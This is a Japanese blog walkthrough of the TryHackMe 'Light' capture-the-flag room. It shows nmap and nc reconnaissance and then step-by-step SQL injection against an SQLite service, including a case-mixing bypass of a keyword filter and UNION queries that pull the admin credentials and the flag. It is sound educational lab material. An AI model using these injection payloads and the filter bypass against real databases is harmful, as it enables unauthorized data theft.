0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[THM] Walkthrough - Light (日本語)

Last updated at Posted at 2025-01-26

概要

TryHackMe の 「Light」という Room の Walkthrough 記事です。
取っつきやすく SQL Injection の説明にも使えそうな問題になってたのでメモとして残します。
使用している環境は TryHackMe 上の AttackBox でやっています。

Task

I am working on a database application called Light! Would you like to try it out?
If so, the application is running on port 1337. You can connect to it using `nc 10.10.110.166 1337` .
You can use the username `smokey` in order to get started.

(意訳)
Lightというデータベースアプリケーションを作ってます。お試しいかが?
アプリケーションはポート1337で動いていて、`nc 10.10.110.166 1337` で接続できます。
開始するにはユーザー名 `smokey` が使えます。
  1. What is the admin username?
  2. What is the password to the username mentioned in question 1?
  3. What is the flag?

手順

まずは偵察してみる。port 1337 で接続できるのはヒントから分かってるが、他に ssh や http などがないか調べます。

root@ip-10-10-85-138:~# nmap -sV -Pn 10.10.110.166
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-26 02:20 GMT
Nmap scan report for 10.10.110.166
Host is up (0.00049s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
MAC Address: 02:61:90:96:DD:47 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

port 22 で ssh が開いてるようだが他は特になし。
ssh は認証情報を手に入れたら戻ってくることにして、次に冒頭でもらっている情報を使い nc してみる。
すると、Light というデータベースに接続したようで、username の入力を促される。
冒頭で言われた通り smokey を入力するとパスワードが返ってきた。

root@ip-10-10-85-138:~# nc 10.10.110.166 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL

認証情報のようなものが手に入ったが、もう少し調査を続ける。
username の入力に対して password を返しているようなので、恐らくこんな感じの SQL が実行されていそうで、Injection ができるかもしれない。

SELECT password FROM <TABLE> WHERE username = '<INPUT>';

というわけで、入力を ' OR '1'='1' -- にすると以下のような SQL Injection が実行できそう。

SELECT password FROM <TABLE> WHERE username = '' OR '1'='1' --';

試してみると、何やら入力値に対してバリデーションがかかっており、-- の部分で弾かれてしまった模様。

Please enter your username: ' OR '1'='1' --
For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)
Please enter your username: 

では次に入力を ' OR '1'='1 に切り替えて、次のような SQL を想定する。

SELECT password FROM <TABLE> WHERE username = '' OR '1'='1';

これを試すとパスワード名が返ってきたので、Injection には成功した模様。

Please enter your username: ' OR '1' = '1
Password: tF8tj2o94WE4LKC

ここから Admin のユーザ名やそのパスワードを調べていきたいのだが、まずテーブル名はおろか、DB がそもそも何なのかわかっていない。なのでそこから調査をしていく。

...とか言いつつ、 Light の名前が付いてる時点で恐らく SQLite だろうという期待を持って、そこから調べてみる。SQLite の場合、DB 情報は sqlite_version() で調べられる(by Google検索)ので、select で持ってこれるように UNION を使って調べる。

すると、またしてもバリデーションがかかっている模様。

Please enter your username: ' UNION SELECT sqlite_version() '
Ahh there is a word in there I don't like :(

調べてみると、SELECTUNION のような全部大文字の SQL コマンドは受け付けないようになっている模様。しかし、Select のように一部小文字にするだけでこれは回避できるみたい。

Please enter your username: SELECT 
Ahh there is a word in there I don't like :(
Please enter your username: Select
Username not found.

なので、ちょっとだけ変更して改めて実行する。すると、SQLite の 3.31.1 が動いていることが判明。

Please enter your username: ' Union Select sqlite_version() '
Password: 3.31.1

続いて、SQLite のテーブル名を調べる。SQLite のテーブル名は sqlite_master で調べられる(by Google検索)ので、それで実行。すると、admintable というテーブル名と判明。

Please enter your username: ' Union Select name from sqlite_master '
Password: admintable

この admintable に対して同様に検索する。すると、 TryHackMeAdmin というユーザ名を取得できたので、これが1つ目の答え。

Please enter your username: ' Union Select username from admintable '
Password: TryHackMeAdmin

このユーザ名のパスワードは where 指定して select すれば十分そう。すると、このユーザ名のパスワードも取得できたので、これが2つ目の答え。

Please enter your username: ' Union Select password from admintable where username = 'TryHackMeAdmin
Password: mamZtAuMlrsEy5bp6q17

他に3つ目の問題の flag に繋がる情報がないか調べるため検索してみる。すると、flag というユーザを発見したので、このユーザについても同様に調べる。すると、flag が手に入ってしまい、3つ目の答えが手に入った。

Please enter your username: ' Union Select username from admintable where username != 'TryHackMeAdmin
Password: flag
Please enter your username: ' Union Select password from admintable where username = 'flag
Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}

... あれ、おしまい?( ssh はなんだったの)

その後

ssh などにログインできないか調べてみたけど、ここで得た情報を使用してログインできるなどは特になさそう。
easy のレベルなのでこれ以上の作りこみはないのかもしれないけど、ここからサーバに侵入して権限昇格して root 取りに行く... とかの展開を期待していた。

感想

「SQL Injection って知ってるけど実行したことない」という人には1つ勉強のタネになりそうなかなという Room で、IT初学者には良いのかもしれません(初学者が TryHackMe 開くのかというツッコミはありそう)。
無料で遊べる Room なので、「SQLインジェクション」を調べたときにたまたまこの記事を見つけた方が、ひとつ手を動かすきっかけになれば幸いです。

以上で本記事を終わります。ありがとうございました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?